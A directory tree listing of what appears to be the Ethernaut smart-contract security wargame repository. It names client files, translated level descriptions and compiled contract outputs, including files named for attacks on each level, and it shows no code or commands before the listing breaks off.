├── .env-sample ├── .github ├── ISSUE_TEMPLATE │ └── New-Network-Support.md └── workflows │ ├── cla.yml │ └── test.yml ├── .gitignore ├── .gitmodules ├── .nvmrc ├── CHANGELOG.md ├── CONTRIBUTING.md ├── FUNDING.json ├── LICENSE ├── README.md ├── client ├── README.md ├── package.json ├── public │ ├── .DS_Store │ ├── imgs │ │ ├── BigDefault.svg │ │ ├── BigLevel0.svg │ │ ├── BigLevel1.svg │ │ ├── BigLevel10.svg │ │ ├── BigLevel11.svg │ │ ├── BigLevel12.svg │ │ ├── BigLevel13.svg │ │ ├── BigLevel14.svg │ │ ├── BigLevel15.svg │ │ ├── BigLevel16.svg │ │ ├── BigLevel17.svg │ │ ├── BigLevel18.svg │ │ ├── BigLevel19.svg │ │ ├── BigLevel2.svg │ │ ├── BigLevel20.svg │ │ ├── BigLevel21.svg │ │ ├── BigLevel22.svg │ │ ├── BigLevel23.svg │ │ ├── BigLevel24.svg │ │ ├── BigLevel25.svg │ │ ├── BigLevel26.svg │ │ ├── BigLevel27.svg │ │ ├── BigLevel28.svg │ │ ├── BigLevel29.svg │ │ ├── BigLevel3.svg │ │ ├── BigLevel30.svg │ │ ├── BigLevel31.svg │ │ ├── BigLevel32.svg │ │ ├── BigLevel33.svg │ │ ├── BigLevel4.svg │ │ ├── BigLevel5.svg │ │ ├── BigLevel6.svg │ │ ├── BigLevel7.svg │ │ ├── BigLevel8.svg │ │ ├── BigLevel9.svg │ │ ├── Default.svg │ │ ├── Level0.svg │ │ ├── Level1.svg │ │ ├── Level10.svg │ │ ├── Level11.svg │ │ ├── Level12.svg │ │ ├── Level13.svg │ │ ├── Level14.svg │ │ ├── Level15.svg │ │ ├── Level16.svg │ │ ├── Level17.svg │ │ ├── Level18.svg │ │ ├── Level19.svg │ │ ├── Level2.svg │ │ ├── Level20.svg │ │ ├── Level21.svg │ │ ├── Level22.svg │ │ ├── Level23.svg │ │ ├── Level24.svg │ │ ├── Level25.svg │ │ ├── Level26.svg │ │ ├── Level27.svg │ │ ├── Level28.svg │ │ ├── Level29.svg │ │ ├── Level3.svg │ │ ├── Level30.svg │ │ ├── Level31.svg │ │ ├── Level32.svg │ │ ├── Level33.svg │ │ ├── Level4.svg │ │ ├── Level5.svg │ │ ├── Level6.svg │ │ ├── Level7.svg │ │ ├── Level8.svg │ │ ├── Level9.svg │ │ ├── arrow.svg │ │ ├── christmas-hat.png │ │ ├── favicon.ico │ │ ├── forta.svg │ │ ├── levels-ai.zip │ │ ├── metatag.png │ │ ├── new.png │ │ ├── openzeppelin-by-logo.png │ │ ├── openzeppelin-logo.svg │ │ ├── oz-logo.svg │ │ └── the-ethernaut.svg │ └── index.html ├── scripts │ ├── build-redirects.cjs │ ├── deploy_contracts.mjs │ ├── docs │ │ └── supersede_level.md │ ├── supersede_level.mjs │ └── upgrade_proxy.mjs └── src │ ├── actions │ └── index.js │ ├── components │ ├── common │ │ ├── Footer.js │ │ └── Markdown.js │ ├── leaderboard │ │ ├── AliasModal.js │ │ ├── Headers.js │ │ ├── Hubspot.js │ │ ├── LeaderIcon.js │ │ ├── LeaderList.js │ │ ├── LeaderTile.js │ │ ├── Search.js │ │ └── checkIfAliasExist.js │ ├── levels │ │ ├── Author.js │ │ └── Code.js │ ├── not-found │ │ └── NotFound404.js │ ├── stats │ │ ├── Difficulty.js │ │ ├── Panel.js │ │ └── Statistic.js │ └── utils │ │ ├── Toast.js │ │ └── Tooltip.js │ ├── constants.js │ ├── containers │ ├── App.js │ ├── Header.js │ ├── Help.js │ ├── Leaderboard.js │ ├── Level.js │ ├── Mosaic.js │ └── Stats.js │ ├── contracts │ ├── gamedata │ ├── ar │ │ └── strings.json │ ├── authors.json │ ├── deploy.amoy.json │ ├── deploy.goerli-arbitrum.json │ ├── deploy.goerli-optimism.json │ ├── deploy.goerli.json │ ├── deploy.holesky.json │ ├── deploy.mumbai-polygon.json │ ├── deploy.rinkeby.json │ ├── deploy.ropsten.json │ ├── deploy.sepolia-arbitrum.json │ ├── deploy.sepolia-optimism.json │ ├── deploy.sepolia.json │ ├── en │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── delegate.md │ │ │ │ ├── delegate_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── dex.md │ │ │ │ ├── dex2.md │ │ │ │ ├── dex2_complete.md │ │ │ │ ├── dex_complete.md │ │ │ │ ├── doubleentrypoint.md │ │ │ │ ├── doubleentrypoint_complete.md │ │ │ │ ├── elevator.md │ │ │ │ ├── elevator_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── fallout.md │ │ │ │ ├── fallout_complete.md │ │ │ │ ├── force.md │ │ │ │ ├── force_complete.md │ │ │ │ ├── gatekeeper1.md │ │ │ │ ├── gatekeeper1_complete.md │ │ │ │ ├── gatekeeper2.md │ │ │ │ ├── gatekeeper2_complete.md │ │ │ │ ├── gatekeeper3.md │ │ │ │ ├── gatekeeper3_complete.md │ │ │ │ ├── goodsamaritan.md │ │ │ │ ├── goodsamaritan_complete.md │ │ │ │ ├── higherorder.md │ │ │ │ ├── higherorder_complete.md │ │ │ │ ├── impersonator.md │ │ │ │ ├── impersonator_complete.md │ │ │ │ ├── instances.md │ │ │ │ ├── instances_complete.md │ │ │ │ ├── king.md │ │ │ │ ├── king_complete.md │ │ │ │ ├── magicanimalcarousel.md │ │ │ │ ├── magicanimalcarousel_complete.md │ │ │ │ ├── magicnum.md │ │ │ │ ├── magicnum_complete.md │ │ │ │ ├── motorbike.md │ │ │ │ ├── motorbike_complete.md │ │ │ │ ├── naughtcoin.md │ │ │ │ ├── naughtcoin_complete.md │ │ │ │ ├── preservation.md │ │ │ │ ├── preservation_complete.md │ │ │ │ ├── privacy.md │ │ │ │ ├── privacy_complete.md │ │ │ │ ├── puzzle_wallet.md │ │ │ │ ├── puzzle_wallet_complete.md │ │ │ │ ├── recovery.md │ │ │ │ ├── recovery_complete.md │ │ │ │ ├── reentrancy.md │ │ │ │ ├── reentrancy_complete.md │ │ │ │ ├── shop.md │ │ │ │ ├── shop_complete.md │ │ │ │ ├── stake.md │ │ │ │ ├── stake_complete.md │ │ │ │ ├── switch.md │ │ │ │ ├── switch_complete.md │ │ │ │ ├── telephone.md │ │ │ │ ├── telephone_complete.md │ │ │ │ ├── token.md │ │ │ │ ├── token_complete.md │ │ │ │ ├── unstoppable.md │ │ │ │ ├── vault.md │ │ │ │ └── vault_complete.md │ │ └── strings.json │ ├── es │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── delegate.md │ │ │ │ ├── delegate_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── dex.md │ │ │ │ ├── dex2.md │ │ │ │ ├── dex2_complete.md │ │ │ │ ├── dex_complete.md │ │ │ │ ├── doubleentrypoint.md │ │ │ │ ├── doubleentrypoint_complete.md │ │ │ │ ├── elevator.md │ │ │ │ ├── elevator_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── fallout.md │ │ │ │ ├── fallout_complete.md │ │ │ │ ├── force.md │ │ │ │ ├── force_complete.md │ │ │ │ ├── gatekeeper1.md │ │ │ │ ├── gatekeeper1_complete.md │ │ │ │ ├── gatekeeper2.md │ │ │ │ ├── gatekeeper2_complete.md │ │ │ │ ├── gatekeeper3.md │ │ │ │ ├── gatekeeper3_complete.md │ │ │ │ ├── goodsamaritan.md │ │ │ │ ├── goodsamaritan_complete.md │ │ │ │ ├── instances.md │ │ │ │ ├── instances_complete.md │ │ │ │ ├── king.md │ │ │ │ ├── king_complete.md │ │ │ │ ├── magicnum.md │ │ │ │ ├── magicnum_complete.md │ │ │ │ ├── motorbike.md │ │ │ │ ├── motorbike_complete.md │ │ │ │ ├── naughtcoin.md │ │ │ │ ├── naughtcoin_complete.md │ │ │ │ ├── preservation.md │ │ │ │ ├── preservation_complete.md │ │ │ │ ├── privacy.md │ │ │ │ ├── privacy_complete.md │ │ │ │ ├── puzzle_wallet.md │ │ │ │ ├── puzzle_wallet_complete.md │ │ │ │ ├── recovery.md │ │ │ │ ├── recovery_complete.md │ │ │ │ ├── reentrancy.md │ │ │ │ ├── reentrancy_complete.md │ │ │ │ ├── shop.md │ │ │ │ ├── shop_complete.md │ │ │ │ ├── telephone.md │ │ │ │ ├── telephone_complete.md │ │ │ │ ├── token.md │ │ │ │ ├── token_complete.md │ │ │ │ ├── unstoppable.md │ │ │ │ ├── vault.md │ │ │ │ └── vault_complete.md │ │ └── strings.json │ ├── fr │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── delegate.md │ │ │ │ ├── delegate_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── elevator.md │ │ │ │ ├── elevator_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── fallout.md │ │ │ │ ├── fallout_complete.md │ │ │ │ ├── force.md │ │ │ │ ├── force_complete.md │ │ │ │ ├── gatekeeper1.md │ │ │ │ ├── gatekeeper1_complete.md │ │ │ │ ├── gatekeeper2.md │ │ │ │ ├── gatekeeper2_complete.md │ │ │ │ ├── gatekeeper3.md │ │ │ │ ├── gatekeeper3_complete.md │ │ │ │ ├── goodsamaritan.md │ │ │ │ ├── goodsamaritan_complete.md │ │ │ │ ├── instances.md │ │ │ │ ├── instances_complete.md │ │ │ │ ├── king.md │ │ │ │ ├── king_complete.md │ │ │ │ ├── magicnum.md │ │ │ │ ├── magicnum_complete.md │ │ │ │ ├── motorbike.md │ │ │ │ ├── motorbike_complete.md │ │ │ │ ├── naughtcoin.md │ │ │ │ ├── naughtcoin_complete.md │ │ │ │ ├── preservation.md │ │ │ │ ├── preservation_complete.md │ │ │ │ ├── privacy.md │ │ │ │ ├── privacy_complete.md │ │ │ │ ├── puzzle_wallet.md │ │ │ │ ├── puzzle_wallet_complete.md │ │ │ │ ├── recovery.md │ │ │ │ ├── recovery_complete.md │ │ │ │ ├── reentrancy.md │ │ │ │ ├── reentrancy_complete.md │ │ │ │ ├── shop.md │ │ │ │ ├── shop_complete.md │ │ │ │ ├── telephone.md │ │ │ │ ├── telephone_complete.md │ │ │ │ ├── token.md │ │ │ │ ├── token_complete.md │ │ │ │ ├── unstoppable.md │ │ │ │ ├── vault.md │ │ │ │ └── vault_complete.md │ │ └── strings.json │ ├── gamedata.json │ ├── ja │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── delegate.md │ │ │ │ ├── delegate_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── dex.md │ │ │ │ ├── dex2.md │ │ │ │ ├── dex2_complete.md │ │ │ │ ├── dex_complete.md │ │ │ │ ├── doubleentrypoint.md │ │ │ │ ├── doubleentrypoint_complete.md │ │ │ │ ├── elevator.md │ │ │ │ ├── elevator_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── fallout.md │ │ │ │ ├── fallout_complete.md │ │ │ │ ├── force.md │ │ │ │ ├── force_complete.md │ │ │ │ ├── gatekeeper1.md │ │ │ │ ├── gatekeeper1_complete.md │ │ │ │ ├── gatekeeper2.md │ │ │ │ ├── gatekeeper2_complete.md │ │ │ │ ├── instances.md │ │ │ │ ├── instances_complete.md │ │ │ │ ├── king.md │ │ │ │ ├── king_complete.md │ │ │ │ ├── magicnum.md │ │ │ │ ├── magicnum_complete.md │ │ │ │ ├── motorbike.md │ │ │ │ ├── motorbike_complete.md │ │ │ │ ├── naughtcoin.md │ │ │ │ ├── naughtcoin_complete.md │ │ │ │ ├── preservation.md │ │ │ │ ├── preservation_complete.md │ │ │ │ ├── privacy.md │ │ │ │ ├── privacy_complete.md │ │ │ │ ├── puzzle_wallet.md │ │ │ │ ├── puzzle_wallet_complete.md │ │ │ │ ├── recovery.md │ │ │ │ ├── recovery_complete.md │ │ │ │ ├── reentrancy.md │ │ │ │ ├── reentrancy_complete.md │ │ │ │ ├── shop.md │ │ │ │ ├── shop_complete.md │ │ │ │ ├── telephone.md │ │ │ │ ├── telephone_complete.md │ │ │ │ ├── token.md │ │ │ │ ├── token_complete.md │ │ │ │ ├── unstoppable.md │ │ │ │ ├── vault.md │ │ │ │ └── vault_complete.md │ │ └── strings.json │ ├── pt_br │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── delegate.md │ │ │ │ ├── delegate_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── dex.md │ │ │ │ ├── dex2.md │ │ │ │ ├── dex2_complete.md │ │ │ │ ├── dex_complete.md │ │ │ │ ├── doubleentrypoint.md │ │ │ │ ├── doubleentrypoint_complete.md │ │ │ │ ├── elevator.md │ │ │ │ ├── elevator_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── fallout.md │ │ │ │ ├── fallout_complete.md │ │ │ │ ├── force.md │ │ │ │ ├── force_complete.md │ │ │ │ ├── gatekeeper1.md │ │ │ │ ├── gatekeeper1_complete.md │ │ │ │ ├── gatekeeper2.md │ │ │ │ ├── gatekeeper2_complete.md │ │ │ │ ├── gatekeeper3.md │ │ │ │ ├── gatekeeper3_complete.md │ │ │ │ ├── goodsamaritan.md │ │ │ │ ├── goodsamaritan_complete.md │ │ │ │ ├── higherorder.md │ │ │ │ ├── higherorder_complete.md │ │ │ │ ├── instances.md │ │ │ │ ├── instances_complete.md │ │ │ │ ├── king.md │ │ │ │ ├── king_complete.md │ │ │ │ ├── magicnum.md │ │ │ │ ├── magicnum_complete.md │ │ │ │ ├── motorbike.md │ │ │ │ ├── motorbike_complete.md │ │ │ │ ├── naughtcoin.md │ │ │ │ ├── naughtcoin_complete.md │ │ │ │ ├── preservation.md │ │ │ │ ├── preservation_complete.md │ │ │ │ ├── privacy.md │ │ │ │ ├── privacy_complete.md │ │ │ │ ├── puzzle_wallet.md │ │ │ │ ├── puzzle_wallet_complete.md │ │ │ │ ├── recovery.md │ │ │ │ ├── recovery_complete.md │ │ │ │ ├── reentrancy.md │ │ │ │ ├── reentrancy_complete.md │ │ │ │ ├── shop.md │ │ │ │ ├── shop_complete.md │ │ │ │ ├── stake.md │ │ │ │ ├── stake_complete.md │ │ │ │ ├── telephone.md │ │ │ │ ├── telephone_complete.md │ │ │ │ ├── token.md │ │ │ │ ├── token_complete.md │ │ │ │ ├── vault.md │ │ │ │ └── vault_complete.md │ │ └── strings.json │ ├── ru │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── dex.md │ │ │ │ ├── dex2.md │ │ │ │ ├── dex2_complete.md │ │ │ │ ├── dex_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── instances.md │ │ │ │ └── instances_complete.md │ │ └── strings.json │ ├── tr │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── instances.md │ │ │ │ └── instances_complete.md │ │ └── strings.json │ ├── zh_cn │ │ ├── descriptions │ │ │ └── levels │ │ │ │ ├── aliencodex.md │ │ │ │ ├── aliencodex_complete.md │ │ │ │ ├── coinflip.md │ │ │ │ ├── coinflip_complete.md │ │ │ │ ├── delegate.md │ │ │ │ ├── delegate_complete.md │ │ │ │ ├── denial.md │ │ │ │ ├── denial_complete.md │ │ │ │ ├── dex.md │ │ │ │ ├── dex2.md │ │ │ │ ├── dex2_complete.md │ │ │ │ ├── dex_complete.md │ │ │ │ ├── doubleentrypoint.md │ │ │ │ ├── doubleentrypoint_complete.md │ │ │ │ ├── elevator.md │ │ │ │ ├── elevator_complete.md │ │ │ │ ├── fallback.md │ │ │ │ ├── fallback_complete.md │ │ │ │ ├── fallout.md │ │ │ │ ├── fallout_complete.md │ │ │ │ ├── force.md │ │ │ │ ├── force_complete.md │ │ │ │ ├── gatekeeper1.md │ │ │ │ ├── gatekeeper1_complete.md │ │ │ │ ├── gatekeeper2.md │ │ │ │ ├── gatekeeper2_complete.md │ │ │ │ ├── gatekeeper3.md │ │ │ │ ├── gatekeeper3_complete.md │ │ │ │ ├── goodsamaritan.md │ │ │ │ ├── goodsamaritan_complete.md │ │ │ │ ├── higherorder.md │ │ │ │ ├── higherorder_complete.md │ │ │ │ ├── impersonator.md │ │ │ │ ├── impersonator_complete.md │ │ │ │ ├── instances.md │ │ │ │ ├── instances_complete.md │ │ │ │ ├── king.md │ │ │ │ ├── king_complete.md │ │ │ │ ├── magicNumber.md │ │ │ │ ├── magicNumber_complete.md │ │ │ │ ├── magicanimalcarousel.md │ │ │ │ ├── magicanimalcarousel_complete.md │ │ │ │ ├── motorbike.md │ │ │ │ ├── motorbike_complete.md │ │ │ │ ├── naughtcoin.md │ │ │ │ ├── naughtcoin_complete.md │ │ │ │ ├── preservation.md │ │ │ │ ├── privacy.md │ │ │ │ ├── privacy_complete.md │ │ │ │ ├── puzzleWallet.md │ │ │ │ ├── puzzleWallet_complete.md │ │ │ │ ├── puzzle_wallet.md │ │ │ │ ├── puzzle_wallet_complete.md │ │ │ │ ├── recovery.md │ │ │ │ ├── recovery_complete.md │ │ │ │ ├── reentrancy.md │ │ │ │ ├── reentrancy_complete.md │ │ │ │ ├── shop.md │ │ │ │ ├── shop_complete.md │ │ │ │ ├── stake.md │ │ │ │ ├── stake_complete.md │ │ │ │ ├── switch.md │ │ │ │ ├── switch_complete.md │ │ │ │ ├── telephone.md │ │ │ │ ├── telephone_complete.md │ │ │ │ ├── token.md │ │ │ │ ├── token_complete.md │ │ │ │ ├── vault.md │ │ │ │ └── vault_complete.md │ │ └── strings.json │ └── zh_tw │ │ ├── descriptions │ │ └── levels │ │ │ ├── aliencodex.md │ │ │ ├── aliencodex_complete.md │ │ │ ├── coinflip.md │ │ │ ├── coinflip_complete.md │ │ │ ├── delegate.md │ │ │ ├── delegate_complete.md │ │ │ ├── elevator.md │ │ │ ├── elevator_complete.md │ │ │ ├── fallback.md │ │ │ ├── fallback_complete.md │ │ │ ├── fallout.md │ │ │ ├── fallout_complete.md │ │ │ ├── force.md │ │ │ ├── force_complete.md │ │ │ ├── gatekeeper1.md │ │ │ ├── gatekeeper1_complete.md │ │ │ ├── gatekeeper2.md │ │ │ ├── gatekeeper2_complete.md │ │ │ ├── instances.md │ │ │ ├── instances_complete.md │ │ │ ├── king.md │ │ │ ├── king_complete.md │ │ │ ├── naughtcoin.md │ │ │ ├── naughtcoin_complete.md │ │ │ ├── preservation.md │ │ │ ├── preservation_complete.md │ │ │ ├── privacy.md │ │ │ ├── privacy_complete.md │ │ │ ├── reentrancy.md │ │ │ ├── reentrancy_complete.md │ │ │ ├── telephone.md │ │ │ ├── telephone_complete.md │ │ │ ├── token.md │ │ │ ├── token_complete.md │ │ │ ├── vault.md │ │ │ └── vault_complete.md │ │ └── strings.json │ ├── hoc │ └── withRouter.js │ ├── index.js │ ├── middlewares │ ├── activateLevel.js │ ├── collectStats.js │ ├── loadEthernautContract.js │ ├── loadGamedata.js │ ├── loadLevelInstance.js │ ├── setGameReadOnly.js │ ├── setLanguage.js │ ├── setNetwork.js │ ├── setPlayerAddress.js │ ├── submitLevelInstance.js │ └── syncPlayerProgress.js │ ├── reducers │ ├── contractsReducer.js │ ├── gamedataReducer.js │ ├── index.js │ ├── languageReducer.js │ ├── networkReducer.js │ ├── playerReducer.js │ └── statsReducer.js │ ├── serviceWorker.js │ ├── store.js │ ├── styles │ ├── app.css │ ├── code.css │ ├── hubspot.css │ ├── leaderboard.css │ ├── level.css │ ├── page.css │ └── stats.css │ └── utils │ ├── ^^.js │ ├── contractutil.js │ ├── deploycontract.js │ ├── ethutil.js │ ├── getlevelsdata.js │ ├── github.js │ ├── networkDeprecation.js │ ├── statsContract.js │ ├── stringutil.js │ ├── svg.js │ ├── textloader.js │ └── translations.js ├── contracts ├── .gitignore ├── README.md ├── foundry.toml ├── out │ ├── AddressUpgradeable.sol │ │ └── AddressUpgradeable.json │ ├── AlienCodex.sol │ │ └── AlienCodex.json │ ├── AlienCodex.t.sol │ │ ├── AlienCodex.json │ │ ├── AlienCodexExploit.json │ │ └── TestAlienCodex.json │ ├── AlienCodexAttack.sol │ │ └── AlienCodexAttack.json │ ├── AlienCodexFactory.sol │ │ └── AlienCodexFactory.json │ ├── Base.sol │ │ ├── CommonBase.json │ │ ├── ScriptBase.json │ │ └── TestBase.json │ ├── CoinFlip.sol │ │ └── CoinFlip.json │ ├── CoinFlipAttack.sol │ │ └── CoinFlipAttack.json │ ├── CoinFlipFactory.sol │ │ └── CoinFlipFactory.json │ ├── Coinflip.t.sol │ │ └── TestCoinflip.json │ ├── Context.sol │ │ └── Context.0.8.28.json │ ├── Delegation.sol │ │ ├── Delegate.json │ │ └── Delegation.json │ ├── Delegation.t.sol │ │ └── TestDelegation.json │ ├── DelegationFactory.sol │ │ └── DelegationFactory.json │ ├── Denial.sol │ │ └── Denial.json │ ├── Denial.t.sol │ │ └── TestDenial.json │ ├── DenialAttack.sol │ │ └── DenialAttack.json │ ├── DenialFactory.sol │ │ └── DenialFactory.json │ ├── DetectionBot.sol │ │ ├── DetectionBot.json │ │ ├── IDetectionBot.json │ │ └── IForta.json │ ├── Dex.sol │ │ ├── Dex.json │ │ └── SwappableToken.json │ ├── Dex.t.sol │ │ └── TestDex.json │ ├── DexFactory.sol │ │ └── DexFactory.json │ ├── DexTwo.sol │ │ ├── DexTwo.json │ │ └── SwappableTokenTwo.json │ ├── DexTwo.t.sol │ │ └── TestDexTwo.json │ ├── DexTwoAttack.sol │ │ └── DexTwoAttackToken.json │ ├── DexTwoFactory.sol │ │ └── DexTwoFactory.json │ ├── DoubleEntryPoint.sol │ │ ├── CryptoVault.json │ │ ├── DelegateERC20.json │ │ ├── DoubleEntryPoint.json │ │ ├── Forta.json │ │ ├── IDetectionBot.json │ │ ├── IForta.json │ │ └── LegacyToken.json │ ├── DoubleEntryPoint.t.sol │ │ └── TestDoubleEntryPoint.json │ ├── DoubleEntryPointFactory.sol │ │ └── DoubleEntryPointFactory.json │ ├── Dummy.sol │ │ └── Dummy.json │ ├── DummyFactory.sol │ │ └── DummyFactory.json │ ├── ERC1967Proxy.sol │ │ └── ERC1967Proxy.json │ ├── ERC1967Upgrade.sol │ │ └── ERC1967Upgrade.json │ ├── ERC20.sol │ │ └── ERC20.json │ ├── ERC20 │ │ └── IERC20.sol │ │ │ └── IERC20.json │ ├── Elevator.sol │ │ ├── Building.json │ │ └── Elevator.json │ ├── Elevator.t.sol │ │ └── TestElevator.json │ ├── ElevatorAttack.sol │ │ └── ElevatorAttack.json │ ├── ElevatorFactory.sol │ │ └── ElevatorFactory.json │ ├── Ethernaut.sol │ │ ├── Ethernaut.json │ │ └── IStatistics.json │ ├── Ethernaut.t.sol │ │ └── TestEthernaut.json │ ├── Fallback.sol │ │ └── Fallback.json │ ├── Fallback.t.sol │ │ └── TestFallback.json │ ├── FallbackFactory.sol │ │ └── FallbackFactory.json │ ├── Fallout.sol │ │ └── Fallout.json │ ├── Fallout.t.sol │ │ ├── Fallout.json │ │ └── TestFallout.json │ ├── FalloutFactory.sol │ │ └── FalloutFactory.json │ ├── Force.sol │ │ └── Force.json │ ├── Force.t.sol │ │ └── TestForce.json │ ├── ForceAttack.sol │ │ └── ForceAttack.json │ ├── ForceFactory.sol │ │ └── ForceFactory.json │ ├── GatekeeperOne.sol │ │ └── GatekeeperOne.json │ ├── GatekeeperOne.t.sol │ │ └── TestGatekeeperOne.json │ ├── GatekeeperOneAttack.sol │ │ └── GatekeeperOneAttack.json │ ├── GatekeeperOneFactory.sol │ │ └── GatekeeperOneFactory.json │ ├── GatekeeperThree.sol │ │ ├── GatekeeperThree.json │ │ └── SimpleTrick.json │ ├── GatekeeperThree.t.sol │ │ └── TestGatekeeperThree.json │ ├── GatekeeperThreeAttack.sol │ │ └── GatekeeperThreeAttack.json │ ├── GatekeeperThreeFactory.sol │ │ └── GatekeeperThreeFactory.json │ ├── GatekeeperTwo.sol │ │ └── GatekeeperTwo.json │ ├── GatekeeperTwo.t.sol │ │ └── TestGatekeeperTwo.json │ ├── GatekeeperTwoAttack.sol │ │ ├── GatekeeperTwoAttack.json │ │ └── GatekeeperTwoInterface.json │ ├── GatekeeperTwoFactory.sol │ │ └── GatekeeperTwoFactory.json │ ├── GoodSamaritan.sol │ │ ├── Coin.json │ │ ├── GoodSamaritan.json │ │ ├── INotifyable.json │ │ └── Wallet.json │ ├── GoodSamaritan.t.sol │ │ └── TestGoodSamaritan.json │ ├── GoodSamaritanAttack.sol │ │ └── GoodSamaritanAttack.json │ ├── GoodSamaritanFactory.sol │ │ └── GoodSamaritanFactory.json │ ├── HigherOrder.sol │ │ └── HigherOrder.json │ ├── HigherOrder.t.sol │ │ ├── HigherOrder.json │ │ ├── HigherOrderAttack.json │ │ └── TestHigherOrder.json │ ├── HigherOrderAttack.sol │ │ └── HigherOrderAttack.json │ ├── HigherOrderFactory.sol │ │ └── HigherOrderFactory.json │ ├── IBeacon.sol │ │ └── IBeacon.json │ ├── IERC165.sol │ │ └── IERC165.json │ ├── IERC20.sol │ │ └── IERC20.json │ ├── IERC20Metadata.sol │ │ └── IERC20Metadata.json │ ├── IERC721.sol │ │ ├── IERC721.json │ │ ├── IERC721Enumerable.json │ │ ├── IERC721Metadata.json │ │ └── IERC721TokenReceiver.json │ ├── IMulticall3.sol │ │ └── IMulticall3.json │ ├── Impersonator.sol │ │ ├── ECLocker.json │ │ └── Impersonator.json │ ├── Impersonator.t.sol │ │ └── TestImpersonator.json │ ├── ImpersonatorFactory.sol │ │ └── ImpersonatorFactory.json │ ├── Initializable.sol │ │ └── Initializable.json │ ├── Instance.sol │ │ └── Instance.json │ ├── Instance.t.sol │ │ └── TestInstance.json │ ├── InstanceFactory.sol │ │ └── InstanceFactory.json │ ├── King.sol │ │ └── King.json │ ├── King.t.sol │ │ └── TestKing.json │ ├── KingAttack.sol │ │ └── KingAttack.json │ ├── KingFactory.sol │ │ └── KingFactory.json │ ├── Leaderboard.t.sol │ │ └── TestLeaderboard.json │ ├── Level-05.sol │ │ └── Level.json │ ├── Level-06.sol │ │ └── Level.json │ ├── Level-08.sol │ │ └── Level.json │ ├── Level.sol │ │ ├── Level.0.8.28.json │ │ └── Level.json │ ├── Level.t.sol │ │ └── TestLevel.json │ ├── LocalFactory.sol │ │ └── Factory.json │ ├── MagicAnimalCarousel.sol │ │ └── MagicAnimalCarousel.json │ ├── MagicAnimalCarouselFactory.sol │ │ └── MagicAnimalCarouselFactory.json │ ├── MagicNum.sol │ │ └── MagicNum.json │ ├── MagicNum.t.sol │ │ └── TestMagicNum.json │ ├── MagicNumBadSolver.sol │ │ └── MagicNumBadSolver.json │ ├── MagicNumFactory.sol │ │ ├── MagicNumFactory.json │ │ └── Solver.json │ ├── MagicNumSolver.sol │ │ └── MagicNumSolver.json │ ├── Manufactured.sol │ │ └── Manufactured.json │ ├── MockERC20.sol │ │ └── MockERC20.json │ ├── MockERC721.sol │ │ ├── IERC721TokenReceiver.json │ │ └── MockERC721.json │ ├── Motorbike.sol │ │ ├── Engine.json │ │ └── Motorbike.json │ ├── Motorbike.t.sol │ │ ├── Engine.json │ │ └── TestMotorbike.json │ ├── MotorbikeAttack.sol │ │ ├── Exploit.json │ │ └── MotorbikeAttack.json │ ├── MotorbikeFactory.sol │ │ └── MotorbikeFactory.json │ ├── NaughtCoin.sol │ │ └── NaughtCoin.json │ ├── NaughtCoin.t.sol │ │ └── TestNaughtCoin.json │ ├── NaughtCoinAttack.sol │ │ └── NaughtCoinAttack.json │ ├── NaughtCoinFactory.sol │ │ └── NaughtCoinFactory.json │ ├── Ownable-05.sol │ │ └── Ownable.json │ ├── Ownable.sol │ │ └── Ownable.0.8.28.json │ ├── Player.t.sol │ │ └── TestPlayer.json │ ├── Preservation.sol │ │ ├── LibraryContract.json │ │ └── Preservation.json │ ├── Preservation.t.sol │ │ └── TestPreservation.json │ ├── PreservationAttack.sol │ │ └── PreservationAttack.json │ ├── PreservationFactory.sol │ │ └── PreservationFactory.json │ ├── Privacy.sol │ │ └── Privacy.json │ ├── Privacy.t.sol │ │ └── TestPrivacy.json │ ├── PrivacyFactory.sol │ │ └── PrivacyFactory.json │ ├── Proxy.sol │ │ └── Proxy.json │ ├── ProxyAdmin.sol │ │ └── ProxyAdmin.json │ ├── ProxyStats.sol │ │ └── ProxyStats.json │ ├── PuzzleWallet.sol │ │ ├── PuzzleProxy.json │ │ └── PuzzleWallet.json │ ├── PuzzleWallet.t.sol │ │ └── TestPuzzleWallet.json │ ├── PuzzleWalletFactory.sol │ │ └── PuzzleWalletFactory.json │ ├── Recovery.sol │ │ ├── Recovery.json │ │ └── SimpleToken.json │ 